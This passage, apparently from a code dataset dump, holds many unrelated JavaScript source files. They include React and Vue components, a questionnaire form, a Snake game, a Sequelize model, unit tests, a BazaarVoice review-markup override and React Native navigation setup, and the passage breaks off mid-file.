text stringlengths 7 3.69M |
|---|
class QuestionnaireApp extends React.Component{
static questions = [
{
"item": "性別",
"options": ["男", "女"]
},
{
"item": "年齡",
"options": ["18歲以下", "18~25歲", "26~35歲", "35歲以上"]
},
{
"item": "婚姻狀況",
"options": ["未婚", "已婚"]
}
];
constructor(props, context) {
super(props, context);
this.state = {
toAnswer: QuestionnaireApp.questions.length
}
this.answerHandler = this.answerHandler.bind(this);
}
answerHandler(toAnswer) {
this.setState({
toAnswer: toAnswer
})
}
render(){
return (
<div>
<QuestTitle toAnswer={this.state.toAnswer} />
<QuestList
questions={QuestionnaireApp.questions}
answerHandler={this.answerHandler}
/>
</div>
);
}
}
class QuestTitle extends React.Component{
render(){
return (
<div>
<h1>問卷調查表</h1>
<small>{this.props.toAnswer} 項問題待填寫</small>
</div>
);
}
}
class QuestList extends React.Component{
static defaultProps = {
questions: []
}
constructor(props, context) {
super(props, context);
this.state = {
answered: 0
}
this.handleAnswer = this.handleAnswer.bind(this);
}
handleAnswer() {
let newAnswered = this.state.answered + 1;
let toAnswer = this.props.questions.length - newAnswered;
this.setState({
answered: newAnswered
});
this.props.answerHandler(toAnswer);
}
render(){
const self = this;
let quesItems = this.props.questions.map(function(question, i) {
return (
<QuesItem
key={i}
item={question.item}
options={question.options}
handleAnswer={self.handleAnswer}
/>
);
});
return (
<div>
<p>請撥冗填寫本問卷,提供寶貴的資訊,謝謝!</p>
<ul>
{quesItems}
</ul>
</div>
);
}
}
class QuesItem extends React.Component{
constructor(props, context) {
super(props, context);
this.state = {
option: ""
}
this.onChange = this.onChange.bind(this);
}
onChange(option) {
if(this.state.option === "") {
this.props.handleAnswer();
}
this.setState({
option: option
})
}
generateOpts() {
const self = this;
return this.props.options.map(function(option, i) {
return (
<RadioInput
key={i}
option={option}
checked={self.state.option == option}
onChange={self.onChange}
>
</RadioInput>
);
});
}
render(){
return (
<div>
<li>{this.props.item}</li>
{this.generateOpts()}
</div>
);
}
}
class RadioInput extends React.Component{
constructor(props, context) {
super(props, context);
this.handleChange = this.handleChange.bind(this);
}
handleChange(event) {
let checked = event.target.checked;
if(checked) {
this.props.onChange(this.props.option);
}
}
render(){
return (
<label>
<input type="radio"
checked={this.props.checked}
onChange={this.handleChange}
/>
{this.props.option}
</label>
);
}
}
ReactDOM.render(
<QuestionnaireApp />,
document.getElementById('questionnaireApp')
)
|
module.exports = {
publicPath: 'https://kodanuki.work/janken/',
"pluginOptions": {
"style-resources-loader": {
"preProcessor": "sass",
"patterns": [
"C:\\Users\\code_\\PhpstormProjects\\janken\\src\\style\\sass\\*.scss"
]
}
},
pages: {
index: {
entry: 'src/main.js',
title: 'じゃんけん Online',
}
},
"transpileDependencies": [
"vuetify"
]
} |
var keyState = {};
window.addEventListener('keydown',function(e){
keyState[e.keyCode || e.which] = true;
},true);
window.addEventListener('keyup',function(e){
keyState[e.keyCode || e.which] = false;
},true);
function gameLoop() {
//Left Arrow
if (keyState[37] || keyState[65]){
player[0].position.x -= 0.1;
}
//Up Arrow
if (keyState[38] || keyState[87]){
player[0].position.z -= 0.1;
}
//Right Arrow
if (keyState[39] || keyState[68]){
player[0].position.x += 0.1;
}
//Down Arrow
if (keyState[40] || keyState[83]){
player[0].position.z += 0.1;
}
// redraw/reposition your object here
// also redraw/animate any objects not controlled by the user
setTimeout(gameLoop, 10);
}
gameLoop(); |
function magicMatrix(arr) {
let isMagic = true;
let sum = arr[0].reduce((a, b) => a + b, 0);
for (let i = 0; i < arr.length; i++) {
let rowSum = arr[i].reduce((a, b) => a + b);
let colSum = 0;
for (let k = 0; k < arr.length; k++) {
colSum+=arr[i][k];
}
if (rowSum != sum || colSum != sum) {
isMagic = false;
}
}
console.log(isMagic);
}
|
import React, { useState } from "react";
import "./SearchForm.css";
import { FiSearch } from "react-icons/fi";
import { useHistory } from "react-router";
import { saveSubmittedInfo } from "../../../redux/aicncActions";
import { connect } from "react-redux";
const SearchForm = ({ saveSubmittedInfo }) => {
let history = useHistory();
let presentDateJS = new Date();
let presentMonth = presentDateJS.getMonth() + 1;
let presentDay = presentDateJS.getDate();
if (presentMonth < 10) {
presentMonth = "0" + presentMonth;
}
if (presentDay < 10) {
presentDay = "0" + presentDay;
}
var presentDateHTML =
presentDateJS.getFullYear() + "-" + presentMonth + "-" + presentDay;
const [formInfo, setFormInfo] = useState({
location: "",
arrival: presentDateHTML.toString(),
departure: presentDateHTML.toString(),
adults: 1,
child: 0,
babies: 0,
});
const valueChangeHandler = (e) => {
setFormInfo({
...formInfo,
[e.target.name]: e.target.value,
});
};
const formSubmitHandler = (e) => {
e.preventDefault();
saveSubmittedInfo(formInfo);
history.push("/room-selection");
};
return (
<div className="search-form-section">
<form onSubmit={formSubmitHandler}>
{/* Location Element */}
<div className="form-element">
<label htmlFor="location">LOCATION</label>
<input
type="text"
name="location"
value={formInfo.location}
onChange={valueChangeHandler}
placeholder="Add city ,landmark or address"
required
/>
</div>
{/* Arrival Element */}
<div className="form-arrival-departure-element">
<div className="form-element">
<label className="grey-label" htmlFor="arrival">
Arrival
</label>
<input
type="date"
name="arrival"
value={formInfo.arrival}
onChange={valueChangeHandler}
required
/>
</div>
{/* Departure Element */}
<div className="form-element">
<label className="grey-label" htmlFor="departure">
Departure
</label>
<input
type="date"
name="departure"
value={formInfo.departure}
onChange={valueChangeHandler}
required
/>
</div>
</div>
<div className="form-element">
{/* Guests Element Details */}
<h6 className="grey-label">Guests</h6>
<p className="form-guests-element-details">
{formInfo.adults > 0 ? formInfo.adults + " ADULTS, " : ""}
{formInfo.child > 0 ? formInfo.child + " CHILD, " : ""}
{formInfo.babies > 0 ? formInfo.babies + " BABIES" : ""}
</p>
{/* Adults Elements */}
<div className="guests-element-container">
<div className="form-guests-element">
<h6>ADULTS</h6>
<div className="guests-number-container">
<span
className="guests-number-change-button"
onClick={() => {
if (formInfo.adults > 0) {
setFormInfo({ ...formInfo, adults: formInfo.adults - 1 });
}
}}
>
−
</span>
<span>{formInfo.adults}</span>
<span
className="guests-number-change-button"
onClick={() => {
setFormInfo({ ...formInfo, adults: formInfo.adults + 1 });
}}
>
+
</span>
</div>
</div>
</div>
{/* Child Elements */}
<div className="guests-element-container">
<div className="form-guests-element">
<h6>CHILD</h6>
<div className="guests-number-container">
<span
className="guests-number-change-button"
onClick={() => {
if (formInfo.child > 0) {
setFormInfo({ ...formInfo, child: formInfo.child - 1 });
}
}}
>
−
</span>
<span>{formInfo.child}</span>
<span
className="guests-number-change-button"
onClick={() => {
setFormInfo({ ...formInfo, child: formInfo.child + 1 });
}}
>
+
</span>
</div>
</div>
<p className="grey-label">Age 2-12</p>
</div>
{/* BABIES Elements */}
<div className="guests-element-container">
<div className="form-guests-element">
<h6>BABIES</h6>
<div className="guests-number-container">
<span
className="guests-number-change-button"
onClick={() => {
if (formInfo.babies > 0) {
setFormInfo({ ...formInfo, babies: formInfo.babies - 1 });
}
}}
>
−
</span>
<span>{formInfo.babies}</span>
<span
className="guests-number-change-button"
onClick={() => {
setFormInfo({ ...formInfo, babies: formInfo.babies + 1 });
}}
>
+
</span>
</div>
</div>
<p className="grey-label">Younger than 2</p>
</div>
</div>
<button className="form-submit-button" type="submit">
<FiSearch className="form-submit-button-icon" />
Submit
</button>
</form>
</div>
);
};
const mapDispatchToProps = {
saveSubmittedInfo: saveSubmittedInfo,
};
export default connect(null, mapDispatchToProps)(SearchForm);
|
'use strict';
const {
Model
} = require('sequelize');
module.exports = (sequelize, DataTypes) => {
class Alternative extends Model {
static associate(models) {
Alternative.belongsTo(models.Question);
}
};
Alternative.init({
id: {
primaryKey: true,
type: DataTypes.UUID,
defaultValue: DataTypes.UUIDV4,
validate: { isUUID: 4 }
},
alternative: DataTypes.TEXT('tiny'),
isCorrect: {
type: DataTypes.BOOLEAN,
defaultValue: false
},
questionId: {
type: DataTypes.UUIDV4,
validate: { isUUID: 4 }
}
}, {
sequelize,
modelName: 'Alternative',
});
return Alternative;
}; |
/*
* @Description: In User Settings Edit
* @Author: your name
* @Date: 2019-08-26 22:22:43
* @LastEditTime: 2019-08-28 00:00:10
* @LastEditors: Please set LastEditors
*/
import React from 'react';
import ReactDOM from 'react-dom';
import index from './pages/index/index.jsx';
import home from './pages/home/index.jsx';
import * as serviceWorker from './serviceWorker';
import { HashRouter } from 'react-router-dom'
import {renderRoutes} from 'react-router-config'
import './style.css';
import store from './store/store'
import { Provider } from 'react-redux'
const routes = [
{ path: '/',
component: index,
children:[
{
path:'/',
component:home
}
]
},
]
ReactDOM.render(
(
<HashRouter >
<div >
<Provider store={store}>
{renderRoutes(routes)}
</Provider>
</div>
</HashRouter>)
, document.getElementById('root'));
// If you want your app to work offline and load faster, you can change
// unregister() to register() below. Note this comes with some pitfalls.
// Learn more about service workers: https://bit.ly/CRA-PWA
serviceWorker.unregister();
|
describe("QuerySelection", function () {
it("initializes without arguments", function() {
var selection = new QuerySelection();
expect(selection.name).toEqual("");
expect(selection.dimensions).toEqual([]);
expect(selection.fields).toEqual([]);
});
it("initializes with arguments", function() {
var f0 = new QuerySelectionField(), f1 = new QuerySelectionField();
var selection = new QuerySelection({name:"foo", dimensions:["city","state"], fields:[f0, f1]});
expect(selection.name).toEqual("foo");
expect(selection.dimensions).toEqual(["city", "state"]);
expect(selection.fields).toEqual([f0, f1]);
});
it("adds a field", function() {
var field = new QuerySelectionField();
var selection = new QuerySelection();
selection.addField(field);
expect(selection.fields.length).toEqual(1);
expect(field.selection).toEqual(selection);
});
it("removes a field", function() {
var f0 = new QuerySelectionField(), f1 = new QuerySelectionField();
var selection = new QuerySelection();
selection.addField(f0);
selection.addField(f1);
selection.removeField(f0);
expect(selection.fields.length).toEqual(1);
expect(f0.selection).toEqual(null);
expect(f1.selection).toEqual(selection);
});
it("serializes to a hash", function() {
var selection = new QuerySelection({name:"foo", dimensions:["city","state"], fields:[new QuerySelectionField({name:"bar", expression:"baz == 100"})]});
expect(selection.serialize()).toEqual(
{
"type":"selection",
"name":"foo",
"dimensions":["city", "state"],
"fields":[{"name":"bar", "expression":"baz == 100"}],
}
);
});
it("deserializes from a hash", function() {
var selection = new QuerySelection();
selection.deserialize({
"type":"selection",
"name":"foo",
"dimensions":["city", "state"],
"fields":[{"name":"bar", "expression":"baz == 100"}],
})
expect(selection.name).toEqual("foo");
expect(selection.dimensions).toEqual(["city","state"]);
expect(selection.fields.length).toEqual(1);
expect(selection.fields[0].serialize()).toEqual({"name":"bar", "expression":"baz == 100"});
});
});
|
import { v4 as uuidv4 } from 'uuid';
class Task{
constructor(task, date){
this.id = uuidv4()
this.text = task
this.dateDue = date
this.dateCreated = new Date()
this.completed = false;
this.setCompleted = function(){
this.completed = true;
}
}
}
export default Task; |
angular.module('app').controller('productDetailsCtrl', function($scope, shopService, $stateParams) {
$scope.getProductDetails = function(){
shopService.getProductDetails($stateParams).then(function(response) {
return $scope.product = response.data;
});
}
$scope.getProductDetails();
}); |
/**********************************************************************************************
* Copyright (C) 2015
* United Services Automobile Association
* All Rights Reserved
*
* File: ratings-and-reviews-overrides.js
**********************************************************************************************
* Rls Date Chg Date Name Description
* ========== ========== ============== ==================
* 09/11/2015 09/11/2015 Ian Smith Initial creation
**********************************************************************************************/
/**
* This file bolts on top of the BazaarVoice ratings and reviews and makes its own markup
* because the default markup has a bunch of unneeded junk.
* This was done for the new brand look and feel.
* @requires bvapi.js
*/
(function () {
var _ratingsWereSet = false;
var _setUpSummarySections = function () {
if (document.querySelectorAll('.BVRRRatingNormalImage').length > 0) {
var ratingOutOf = document.querySelector('#BVRRSummaryContainer .BVRRRatingOverall .BVRRRatingNormalOutOf .BVRRRatingRangeNumber').innerHTML;
var ratingOverall = document.querySelector('#BVRRSummaryContainer .BVRRRatingOverall .BVRRRatingNormalOutOf .BVRRRatingNumber').innerHTML;
var totalReviews = document.querySelector('#BVRRSummaryContainer .BVRRHistogram .BVRRNumber').innerHTML;
var writeAReviewLinkHTML = document.querySelector('#BVRRDisplayContentLinkWriteID').innerHTML;
totalReviews = totalReviews.replace(/\B(?=(\d{3})+(?!\d))/g, ",");
document.getElementById('rrRatingOverallBanner').innerHTML = ratingOverall;
document.getElementById('rrRatingOutOfBanner').innerHTML = ratingOutOf;
document.getElementById('rrTotalReviewsBanner').innerHTML = totalReviews;
document.getElementById('rrRatingOverallReviews').innerHTML = ratingOverall;
document.getElementById('rrRatingOutOfReviews').innerHTML = ratingOutOf;
document.getElementById('rrTotalReviewsReviews').innerHTML = totalReviews;
document.getElementById('rrWriteAReviewLink').onclick = function() {
document.querySelector('#BVRRDisplayContentLinkWriteID a').click();
};
document.getElementById('rrSortBy').appendChild(document.getElementById('BVRRDisplayContentSelectBVFrameID').cloneNode(true));
document.getElementById('rrSortBy').getElementsByTagName('select')[0].options[0].text = 'All';
document.getElementById('rrBanner').className = document.getElementById('rrBanner').className + ' brandBanner-ratingsSection-content-loaded';
}
else {
setTimeout(function() {
_setUpSummarySections();
}, 500);
}
};
var _setUpReviewsSections = function () {
// Inject ratings and reviews int the comments sections
var dom_reviewsSections = document.querySelectorAll('#BVRRDisplayContentBodyID .BVRRContentReview');
var reviewsHTML = '';
for (var i = 0; i < dom_reviewsSections.length; i++) {
// The comments sections have 3 different stars sections
if (dom_reviewsSections[i].id != undefined) {
var id = dom_reviewsSections[i].id;
var ratingOverall = document.querySelector('#' + id + ' .BVRRRatingOverall img').title;
var ratingOutOf = ratingOverall.split(' / ')[1];
ratingOverall = ratingOverall.split(' / ')[0];
ratingOverall = ratingOverall.split('.')[0];
var reviewTitle = document.querySelector('#' + id + ' .BVRRReviewTitle').innerHTML;
var reviewDate = document.querySelector('#' + id + ' .BVRRReviewDate').innerHTML;
var userLinkHTML = document.querySelector('#' + id + ' .BVRRUserNickname').innerHTML;
var userLocation = document.querySelector('#' + id + ' .BVRRUserLocation');
if (userLocation) {
userLocation = userLocation.innerHTML;
}
else {
userLocation = '';
}
var dom_content = document.querySelectorAll('#' + id + ' .BVRRReviewText');
var dom_userLink = document.querySelector('#' + id + ' .BVRRUserNickname').innerHTML;
reviewsHTML += '<div class="ratingsAndReviews-review">'
+ '<div class="ratingsAndReviews-rating productPage-serif">'
+ '<span class="hiddenMessage">Review rated</span>'
+ '<span class="ratingsAndReviews-numerator">' + ratingOverall + '</span>'
+ '<span class="hiddenMessage">out of</span>'
+ '<span class="ratingsAndReviews-denominator">' + ratingOutOf + '</span>'
+ '</div>'
+ '<div class="ratingsAndReviews-reviewSection">'
+ '<h3 class="ratingsAndReviews-reviewHeading">'
+ '<span class="productPage-serif">' + reviewTitle + '</span>'
+ '<span class="ratingsAndReviews-reviewSubHeading">'
+ ' <span class="hiddenMessage">Posted on</span> ' + reviewDate + '</span>'
+ '</span>'
+ '</h3>'
+ '<div class="ratingsAndReviews-reviewContent">';
for (var j = 0; j < dom_content.length; j++) {
reviewsHTML += '<p>' + dom_content[j].innerHTML + '</p>';
}
reviewsHTML += '</div>'
+ '<div class="ratingsAndReviews-reviewMeta">'
+ '<span class="ratingsAndReviews-member">' + dom_userLink + '</span>'
+ '<span class="ratingsAndReviews-memberLocation">' + userLocation + '</span>'
+ '</div>'
+ '</div>'
+ '</div>';
}
document.getElementById('ratingsAndReviewsReviews').innerHTML = reviewsHTML;
}
var paginatorContent = document.querySelector('#BVRRDisplayContentFooterID .BVRRPager').innerHTML;
paginatorContent = paginatorContent.replace(/span/g, 'li');
paginatorContent = paginatorContent.replace(/\.\.\./g, '<li aria-hidden="true">...</li>');
document.getElementById('ratingsAndReviewsPaginator').innerHTML = paginatorContent;
var paginatorSections = document.querySelectorAll('#ratingsAndReviewsPaginator > li');
for (var i = 0; i < paginatorSections.length; i++) {
if (paginatorSections[i].innerHTML == '>>' || paginatorSections[i].innerHTML == '<<') {
paginatorSections[i].parentNode.removeChild(paginatorSections[i]);
}
else {
paginatorSections[i].className = 'ratingsAndReviews-paginatorLink';
var dom_paginatorLink = paginatorSections[i].querySelector('a');
if (dom_paginatorLink) {
if (dom_paginatorLink.innerHTML == 'Next Page') {
dom_paginatorLink.className = 'ratingsAndReviews-nextLink';
}
else if (dom_paginatorLink.innerHTML == 'Previous Page') {
dom_paginatorLink.className = 'ratingsAndReviews-previousLink';
}
if (dom_paginatorLink.addEventListener) {
dom_paginatorLink.addEventListener('click', function() {
_triggerPaginatorLinkClick(this);
});
}
else {
dom_paginatorLink.attachEvent('onclick', function() {
_triggerPaginatorLinkClick(this);
});
}
}
else {
if (paginatorSections[i].innerHTML != '...') {
paginatorSections[i].innerHTML = paginatorSections[i].innerHTML + ' <span class="hiddenMessage">(currently active)</span>';
}
}
}
}
};
var _previousReviewsHTML = '';
var _pollForSortOrPaginationUpdates = function() {
var currentReviewsHTML = '';
if (document.getElementById('BVRRDisplayContentBodyID')) {
currentReviewsHTML = document.getElementById('BVRRDisplayContentBodyID').innerHTML;
}
if (_previousReviewsHTML != currentReviewsHTML) {
_setUpReviewsSections();
_previousReviewsHTML = currentReviewsHTML;
// don't jump down to the ratings section on page load
if (_ratingsWereSet) {
setTimeout(function() {
window.location.href = '#ratingsAndReviewsReviewsContainer';
},500);
}
else {
_ratingsWereSet = true;
}
}
setTimeout(function() {
_pollForSortOrPaginationUpdates();
}, 500);
};
var _triggerPaginatorLinkClick = function(node) {
var clickedLinkTitle = node.title;
var dom_originalPaginationLinks = document.querySelectorAll('#BVRRDisplayContentFooterID .BVRRPageLink a');
for (var i = 0; i < dom_originalPaginationLinks.length; i++) {
if (dom_originalPaginationLinks[i].title == clickedLinkTitle) {
dom_originalPaginationLinks[i].click();
return;
}
}
window.location = '#ratingsAndReviewsReviews';
};
_setUpSummarySections();
_pollForSortOrPaginationUpdates();
})();
/*
<div class="ratingsAndReviews-review">
<div class="ratingsAndReviews-rating productPage-serif">
<span class="hiddenMessage">Review rated</span>
<span class="ratingsAndReviews-numerator">4</span>
<span class="hiddenMessage">out of</span>
<span class="ratingsAndReviews-denominator">5</span>
</div>
<div class="ratingsAndReviews-reviewSection">
<h3 class="ratingsAndReviews-reviewHeading">
<span class="productPage-serif">Great Tool</span>
<span class="ratingsAndReviews-reviewSubHeading">
<span class="hiddenMessage">Posted on</span> Dec 15, 2014</span>
</span>
</h3>
<div class="ratingsAndReviews-reviewContent">
<p>Lorem ipsum</p>
</div>
<div class="ratingsAndReviews-reviewMeta">
<a href="javascript:;" class="ratingsAndReviews-member">Mark E.</a>
<span class="ratingsAndReviews-memberLocation">Oklahoma</span>
</div>
</div>
</div>
*/ |
import React from "react";
import { useLocation } from "react-router-dom";
// ? Components
import { Menu } from "./Menu";
import { FilterButton } from "./FilterButton";
import { SendwichButton } from "./SendwichButton";
// ? Styles
import "./styles/control.css";
export const Control = ({toggleFilter, isFilterOpen, jogs, sendwichMenuOpen, setSendwichMenuOpen}) => {
let location = useLocation();
return (
<div className="header__control">
<Menu />
{location.pathname === "/jogs" && jogs.length > 0 && <FilterButton toggleFilter={toggleFilter} isFilterOpen={isFilterOpen}/>}
<SendwichButton sendwichMenuOpen={sendwichMenuOpen} setSendwichMenuOpen={setSendwichMenuOpen}/>
</div>
);
};
|
define(['knockout'], function (ko) {
ko.validation.rules['passwordConfirm'] = {
validator: function (confirm, password) {
return confirm === password;
},
message: 'Must be the same as password.'
};
ko.validation.registerExtenders();
}); |
import test from 'ava'
import AddPetView from '../../src/js/views/add-pet'
test('should render component', function (t) {
const vnode = AddPetView.view()
t.is(vnode.children.length, 1)
t.is(vnode.children[0].tag, 'h2')
t.is(vnode.children[0].text, 'Add Pet')
t.pass()
})
|
//Message model has user id to identify user and username and user's message
module.exports = {
attributes : {
userId: 'INT',
username: 'STRING',
message: 'STRING'
}
}; |
import Vue from 'vue'
import VueRouter from 'vue-router'
import Threads from './components/threads'
import Thread from './components/thread'
Vue.use(VueRouter)
export default new VueRouter({
routes: [
{ path: '/', name: 'inbox', component: Threads },
{ path: '/threads/:id', name: 'thread', component: Thread }
],
mode: 'history'
})
|
var Snake = function(food, scoreDiv) {
this.size = 20;
// 初始化蛇{x坐标,y坐标,颜色,蛇节对象}
this.snakeBody = [
{x:0,y:1,color:"black",obj:null},// 蛇身
{x:1,y:1,color:"black",obj:null},// 蛇身
{x:2,y:1,color:"black",obj:null},// 蛇身
{x:3,y:1,color:"white",obj:null}// 蛇头
];
this.direction = "right"; // 蛇移动方向
this.food = food; //食物
this.scoreDiv = scoreDiv;
}
// 显示蛇
Snake.prototype.showSnake = function() {
//遍历蛇节,依次创建
for (var i = 0; i < this.snakeBody.length; i++){
//此处判断为了避免重复创建蛇节
if (this.snakeBody[i].obj == null) {
// 创建蛇节div,设置样式
this.snakeBody[i].obj = document.createElement("div");
this.snakeBody[i].obj.style.width = this.snakeBody[i].obj.style.height = this.size + "px";
this.snakeBody[i].obj.style.backgroundColor = this.snakeBody[i].color;
this.snakeBody[i].obj.style.position = "absolute";
// 追加蛇节
document.getElementById(this.food.map.id).appendChild(this.snakeBody[i].obj);
}
// 设置蛇在地图中的位置
this.snakeBody[i].obj.style.left = this.snakeBody[i].x * this.size + "px";
this.snakeBody[i].obj.style.top = this.snakeBody[i].y * this.size + "px";
}
}
// 移动蛇
Snake.prototype.move = function(timeId) {
// 非蛇头蛇节(当前蛇节的新坐标 为 下个蛇节的旧坐标)
for (var i=0; i<this.snakeBody.length -1; i++) {
this.snakeBody[i].x = this.snakeBody[i+1].x;
this.snakeBody[i].y = this.snakeBody[i+1].y;
}
// 设置蛇头位置
if (this.direction == "right") {
// 蛇头x坐标累加
this.snakeBody[this.snakeBody.length - 1].x += 1;
}
if (this.direction == "left") {
// 蛇头x坐标累加
this.snakeBody[this.snakeBody.length - 1].x -= 1;
}
if (this.direction == "up") {
// 蛇头x坐标累加
this.snakeBody[this.snakeBody.length - 1].y -= 1
}
if (this.direction == "down") {
// 蛇头x坐标累加
this.snakeBody[this.snakeBody.length - 1].y += 1;
}
// 蛇头坐标
var xSnakeHead = this.snakeBody[this.snakeBody.length -1].x;
var ySnakeHead = this.snakeBody[this.snakeBody.length -1].y;
//判断蛇吃否吃到食物
if (xSnakeHead == this.food.xFood && ySnakeHead == this.food.yFood) {
// 增加蛇长
var newBody = {x:this.snakeBody[0].x,y:this.snakeBody[0].y,color:"black",obj:null};
this.snakeBody.unshift(newBody);
// 食物消失,再随机生成
this.food.showFood();
this.scoreDiv.innerHTML = parseInt(this.scoreDiv.innerHTML) + 1;
}
// 控制小蛇移动范围
if (xSnakeHead < 0 || xSnakeHead >= this.food.map.width/this.size
|| ySnakeHead <0 || ySnakeHead >= this.food.map.height/this.size) {
clearInterval(timeId);
alert("游戏结束!");
window.location.reload();
}
// 不能吃自己
for (var j=0; j<this.snakeBody.length -1; j++) {
// 蛇头坐标 = 蛇身坐标,游戏结束
if (this.snakeBody[j].x == xSnakeHead && this.snakeBody[j].y == ySnakeHead) {
clearInterval(timeId);
alert("游戏结束!");
window.location.reload();
}
}
this.showSnake();
}
|
import React from 'react';
import { ActivityIndicator } from 'react-native';
import { VectorImage, LoadingContainer } from './styles';
export const DocumentationImage = (props) => {
const { source, loading } = props;
return loading ? (
<LoadingContainer>
<ActivityIndicator />
</LoadingContainer>
) : (
<VectorImage source={source} />
);
};
|
import React from 'react'
import styled from 'styled-components/macro'
import NewPlayerInput from './NewPlayerInput.js'
export default function ImageInputs({
newPlayer,
loading,
uploadImg,
onChange,
}) {
return (
<UploadWrapper>
<UploadLabel
htmlFor="profileImage"
className={newPlayer.profileImage ? 'uploaded' : ''}
>
<UploadHeader
style={
loading.profileImageLoading || newPlayer.profileImage
? { display: 'none' }
: { display: 'block' }
}
>
Profilbild
</UploadHeader>
{loading.profileImageLoading ? (
<UploadHeader>Loading...</UploadHeader>
) : (
<img
src={newPlayer.profileImage ? newPlayer.profileImage : uploadImg}
alt=""
/>
)}
</UploadLabel>
<NewPlayerInput
type="file"
id="profileImage"
accept="image/*"
name="profileImage"
onChange={onChange}
/>
</UploadWrapper>
)
}
const UploadWrapper = styled.div`
display: grid;
justify-content: center;
`
const UploadLabel = styled.label`
display: grid;
grid-template-rows: 40px auto;
justify-items: center;
height: 100px;
width: 100px;
border: solid 1px var(--dark);
border-radius: 20px;
padding: 15px 10px;
overflow: hidden;
&.uploaded {
padding: 0;
grid-template-rows: auto;
border: none;
}
img {
height: 100%;
width: 100%;
object-fit: contain;
&.uploadedImg {
object-fit: cover;
}
}
`
const UploadHeader = styled.h2`
font-size: 1.6rem;
color: var(--dark);
margin: 0;
text-overflow: ellipsis;
overflow: hidden;
white-space: nowrap;
`
|
import React from 'react';
import SRBApp from './components/SRBApp';
class App extends React.Component {
render() {
return (
<SRBApp />
);
}
}
export default App;
|
define(['jquery', 'highcharts'], function() {
var StatusCount = function(url, container) {
$.getJSON(url, function(data) {
container.highcharts({
chart: {
type: 'bar'
},
title: {
text: "Statuses count"
},
series: data
});
});
}
return StatusCount
});
|
import React, {Component} from 'react';
import {Platform, StyleSheet, Text, View, Image,
Animated,StatusBar,
Easing,
} from 'react-native';
import {createBottomTabNavigator, createAppContainer,createStackNavigator } from 'react-navigation';
import {Provider } from '@ant-design/react-native';
import {isIphoneX} from '@/utils/device'
import Home from '@/views/home/index'
import Login from '@/views/login/login'
import Message from '@/views/message/message'
import Settings from '@/views/settings/index'
import Welcome from '@/views/Welcome'
import MyCoupon from '@/views/settings/my-coupon'
import Shopping from '@/views/home/shopping'
import ShareList from '@/views/settings/share-list'
import FundIncome from '@/views/settings/fund-income'
import eAP from '@/views/home/eAP'
import ForgetPwd from '@/views/login/forget-pwd'
import ForgetPwdSecond from '@/views/login/forget-pwd/Second'
import ForgetPwdThird from '@/views/login/forget-pwd/Third'
import ForgetAcctPwd from '@/views/login/forget-acct-pwd'
import ComActive from '@/views/home/comActive'
import ActiveDetail from '@/views/home/comActive/ActiveDetail'
import Register from '@/views/login/register'
import RegSecond from '@/views/login/register/RegSecond'
import SetPwd from '@/views/login/register/SetPwd'
import RegComplete from '@/views/login/register/Complete'
import PayMethod from '@/views/login/register/PayMethod'
import ProductDetail from '@/views/home/shopping/Detail'
import Scan from '@/views/home/scan'
//let store = createStore(reducers, applyMiddleware(thunk));
const navOptions = {
header: null,
headerStyle:{
//paddingTop: 20,
backgroundColor:'white',//'#007751',
//height:60,
fontWeight:'bold',
},
headerTitleStyle:{
color:'#333',
fontSize:18,
textAlign:'center',
flex:1,
fontWeight:'normal',
},
}
//转场动画配置
const transitionConfig = {
//screenInterpolator: StackViewStyleInterpolator.forHorizontal,
transitionSpec: {
duration: 300,
easing: Easing.out(Easing.poly(4)),
timing: Animated.timing,
},
screenInterpolator: sceneProps => {
const { layout, position, scene } = sceneProps;
const { index } = scene;
const height = layout.initHeight;
const width = layout.initWidth;
const translateY = position.interpolate({
inputRange: [index - 1, index, index + 1],
outputRange: [height, 0, 0],
});
const translateX = position.interpolate({
inputRange: [index - 1, index, index + 1],
outputRange: [width, 0, 0],
});
const opacity = position.interpolate({
inputRange: [index - 1, index - 0.99, index],
outputRange: [0, 1, 1],
});
return { opacity, transform: [{ translateX }] };
},
}
const HomeStack = createStackNavigator(
{
Welcome,
Home,
Shopping,
eAP,
ComActive,
ProductDetail,
ActiveDetail,
Scan
},
{
transitionConfig:()=>(transitionConfig),
defaultNavigationOptions:navOptions
}
);
HomeStack.navigationOptions = ({ navigation }) => {
let tabBarVisible = false;
let routes = navigation.state.routes;
if(routes[routes.length-1].routeName == 'Home'){
tabBarVisible = true;
}
// if(navigation.state.index > 0){
// tabBarVisible = false;
// }
return {
tabBarVisible,
};
};
const LoginStack = createStackNavigator(
{
Login,
ForgetPwd,
ForgetPwdSecond,
ForgetPwdThird,
ForgetAcctPwd,
Register,
RegSecond,
SetPwd,
RegComplete,
PayMethod
},
{
transitionConfig:()=>(transitionConfig),
defaultNavigationOptions:navOptions
}
);
LoginStack.navigationOptions = ({ navigation }) => {
let tabBarVisible = false;
// if (navigation.state.index > 0) {
// tabBarVisible = false;
// }
return {
tabBarVisible,
};
};
const MessageStack = createStackNavigator(
{
Message
},
{
transitionConfig:()=>(transitionConfig),
defaultNavigationOptions:navOptions
}
);
MessageStack.navigationOptions = ({ navigation }) => {
let tabBarVisible = true;
//let routes = navigation.state.routes;
if(navigation.state.index > 0){
tabBarVisible = false;
}
return {
tabBarVisible,
};
};
const SettingsStack = createStackNavigator(
{
Settings,
MyCoupon,
ShareList,
FundIncome
},
{
transitionConfig:()=>(transitionConfig),
defaultNavigationOptions:navOptions
}
);
SettingsStack.navigationOptions = ({ navigation }) => {
let tabBarVisible = true;
if(navigation.state.index > 0){
tabBarVisible = false;
}
return {
tabBarVisible,
};
};
const TabNavigator = createBottomTabNavigator(
{
Home: HomeStack,
Login: LoginStack,
Message: MessageStack,
Settings: SettingsStack
},
{
initialRouteName:'Home',
lazy:true,
defaultNavigationOptions: ({ navigation }) => ({
tabBarIcon: ({ focused, horizontal, tintColor }) => {
const { routeName } = navigation.state;
//console.log('routeName',routeName)
let iconName;
if (routeName === 'Home') {
//iconName = `ios-information-circle${focused ? '' : '-outline'}`;
iconName = focused ? require('@/images/tab/nav_bottom_cr_ico1.png') : require('@/images/tab/nav_bottom_ico1.png');
} else if (routeName === 'Login') {
iconName = focused ? require('@/images/tab/nav_bottom_cr_ico2.png') : require('@/images/tab/nav_bottom_ico2.png');
} else if (routeName === 'Message') {
iconName = focused ? require('@/images/tab/nav_bottom_cr_ico3.png') : require('@/images/tab/nav_bottom_ico3.png');
} else if (routeName === 'Settings') {
iconName = focused ? require('@/images/tab/nav_bottom_cr_ico4.png') : require('@/images/tab/nav_bottom_ico4.png');
}
return <Image style={styles.tabIcon} source={iconName}/>;
},
tabBarLabel:({focused})=>{
const { routeName } = navigation.state;
//console.log('routeName',routeName)
